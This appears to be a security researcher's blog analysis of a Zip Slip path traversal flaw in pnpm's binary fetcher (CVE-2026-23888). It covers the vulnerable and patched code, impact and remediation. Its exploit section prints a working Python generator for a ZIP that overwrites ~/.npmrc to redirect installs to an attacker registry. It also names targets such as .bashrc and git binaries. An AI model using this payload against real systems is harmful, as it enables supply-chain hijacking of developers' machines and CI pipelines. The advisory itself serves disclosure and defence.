CVE-2026-23888

Unzipping Disaster: The pnpm Zip Slip Vulnerability

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·6 min read·6 visits

Executive Summary (TL;DR)

pnpm versions prior to 10.28.1 contain a critical Path Traversal vulnerability (Zip Slip) in the binary fetcher component. Attackers can supply malicious ZIP archives or resolution metadata containing relative paths (e.g., `../../../.npmrc`). When processed, these escape the target directory, allowing arbitrary file overwrites. This can be weaponized to achieve RCE by poisoning configuration files like `.npmrc` or `.bashrc`. The fix involves strictly validating all entry paths against the destination root before extraction.

A classic Zip Slip vulnerability resurfaces in the pnpm package manager (CVE-2026-23888). By exploiting the binary fetcher's reliance on the insecure `adm-zip` library and unvalidated resolution prefixes, attackers can write arbitrary files outside the extraction directory. This flaw, patched in version 10.28.1, allows malicious packages to overwrite critical system configuration files, potentially leading to Remote Code Execution (RCE) during the installation process.

The Hook: It's 2026 and We're Still Doing Zip Slip?

You would think that by 2026, we would have collectively agreed as an industry that extracting compressed archives without looking at the filenames inside them is a bad idea. Yet, here we are. CVE-2026-23888 is a textbook example of the 'Zip Slip' vulnerability, living comfortably inside pnpm, one of the most popular and otherwise efficient package managers for Node.js.

pnpm is loved for its speed and disk space efficiency. To achieve that speed, it handles a lot of binary fetching—downloading Node.js runtimes or other binary dependencies directly. And this is where the wheels fall off. When pnpm fetches a binary asset (usually a ZIP file), it has to unpack it.

The vulnerability lies in the component responsible for this unpacking. It assumed that the contents of a ZIP file provided by a registry (or a proxied attacker) were well-behaved. As any security researcher knows, 'assumption' is the mother of all screw-ups. This isn't just a bug; it's a permission slip for any package author to write files anywhere on your disk that the current user has access to.

The Flaw: Trusting the Label on the Box

The root cause here is a tale as old as time: blind trust in the adm-zip library's extractAllTo method. This method is the programming equivalent of a mailroom clerk who reads a package label saying 'Deliver to: The CEO's Desk' and walks right past security to drop it off, no questions asked.

In the pnpm binary fetcher, the code failed to implement a 'chroot' or jail check. When extractAllTo encounters a file entry inside a ZIP named ../../../evil.sh, it simply concatenates that string to the target directory. If your target directory is /home/user/.pnpm/cache, the filesystem resolves that path to /home/user/evil.sh.

But wait, there's more! It wasn't just the ZIP contents. pnpm also blindly trusted a metadata field called prefix from the resolution manifest. If a malicious registry (or a compromised lockfile) set the prefix to ../../oops, pnpm would helpfully construct the extraction path using that traversal sequence. It's a two-pronged attack: you can get them with the archive content or the archive metadata.

The Code: The Smoking Gun

Let's look at the crime scene in fetching/binary-fetcher/src/index.ts. The developers prioritized brevity over security. They used adm-zip to extract the buffer in one go.

The Vulnerable Code:

// The "YOLO" approach to file extraction
const zip = new AdmZip(buffer)
 
// 'nodeDir' is where we WANT it to go.
// 'basename' comes from the unvalidated 'prefix' metadata.
const nodeDir = basename === '' ? targetDir : path.dirname(targetDir)
const extractedDir = path.join(nodeDir, basename) 
 
// FATAL ERROR: extractAllTo blindly writes files based on entry names
zip.extractAllTo(nodeDir, true)
 
await renameOverwrite(extractedDir, targetDir)

See that zip.extractAllTo(nodeDir, true)? That single line is the vulnerability. It iterates through the ZIP headers and calls fs.writeFileSync on whatever path is generated.

The Fix (Commit 5c382f0):

The patch effectively kills the use of extractAllTo. Instead, they now manually iterate over entries and validate every single path using a new helper function validatePathSecurity. This helper ensures the resolved path is strictly a subdirectory of the target.

// The "Paranoid" approach (a.k.a. the correct way)
 
// 1. Validate the prefix/basename first
if (basename !== '') {
  validatePathSecurity(nodeDir, basename)
}
 
// 2. Iterate manually
for (const entry of zip.getEntries()) {
  const entryPath = entry.entryName
  
  // 3. CHECK THE PATH before writing
  validatePathSecurity(nodeDir, entryPath)
  
  // Only safe to extract now
  zip.extractEntryTo(entry, nodeDir, true, true)
}

The Exploit: Dropping a Shell in $HOME

Exploiting this is trivially easy. We don't need memory corruption or ROP chains; we just need a zip file with a bad attitude. The goal is to escape the installation directory and overwrite a configuration file that will trigger code execution later. The .npmrc file in the user's home directory is a prime target.

If we can overwrite .npmrc, we can change the default registry to a server we control, effectively hijacking all future package installations on that machine. Alternatively, on a Linux machine, we could target .bashrc or .zshrc.

The Generator Script (Python):

import zipfile
import io
 
# Create a malicious ZIP in memory
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as zf:
    # Payload: A benign looking entry
    zf.writestr('bin/node', b'#!/bin/sh\necho "legit"')
    
    # THE EXPLOIT: Escape the cache dir, hit the home dir
    # This writes to ~/.npmrc assuming standard install paths
    malicious_content = b'registry=https://pwned.registry.com/\n'
    zf.writestr('../../../../../.npmrc', malicious_content)
 
with open('payload.zip', 'wb') as f:
    f.write(zip_buffer.getvalue())
 
print("[+] Malicious ZIP created. Upload this to the registry.")

When pnpm installs this package, adm-zip sees ../../../../../.npmrc, resolves it against the current working directory (deep inside .pnpm/store), walks up the directory tree, and smashes the user's config file.

The Impact: Why You Should Care

This isn't just about deleting files. This is Arbitrary File Write, which in the context of a developer tool, is synonymous with Remote Code Execution (RCE).

Consider a CI/CD pipeline. These environments often run with elevated privileges or secrets in the environment variables. If an attacker can inject a malicious dependency that uses this Zip Slip vulnerability to overwrite /usr/local/bin/git or modify the build scripts in the workspace, they own the pipeline. They can exfiltrate API keys, inject backdoors into production builds, or pivot to the cloud infrastructure.

Because this triggers during the installation phase (i.e., pnpm install), simply trying to build a project is enough to get compromised. No runtime execution of the package is required.

The Fix: Stop the Bleeding

The remediation is straightforward but urgent. You need to verify that the path you are writing to is actually inside the folder you intended to write to.

  1. Update pnpm: Version 10.28.1 introduces strict path validation. It uses path.resolve and checks that the destination starts with the target directory path.
  2. Audit Lockfiles: Check pnpm-lock.yaml for any binary resolutions with suspicious prefix values (e.g., anything starting with ..).
  3. Sanitize Inputs: If you are writing tools that handle archives, never use convenience methods like extractAllTo or unzip -o without pre-flight checks.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

Affected Systems

pnpm < 10.28.1Node.js environments using vulnerable pnpm for binary managementCI/CD pipelines using cached pnpm versions

Affected Versions Detail

Product
Affected Versions
Fixed Version
pnpm
pnpm
< 10.28.110.28.1
AttributeDetail
CWE IDCWE-22 (Path Traversal)
CVSS v3.16.5 (Medium)
Attack VectorNetwork
ImpactIntegrity (High)
ComponentBinary Fetcher / adm-zip
Exploit StatusPoC Available
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Vulnerability Timeline

Patch committed to pnpm repository
2026-01-15
pnpm v10.28.1 released
2026-01-19
CVE-2026-23888 published
2026-01-26

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.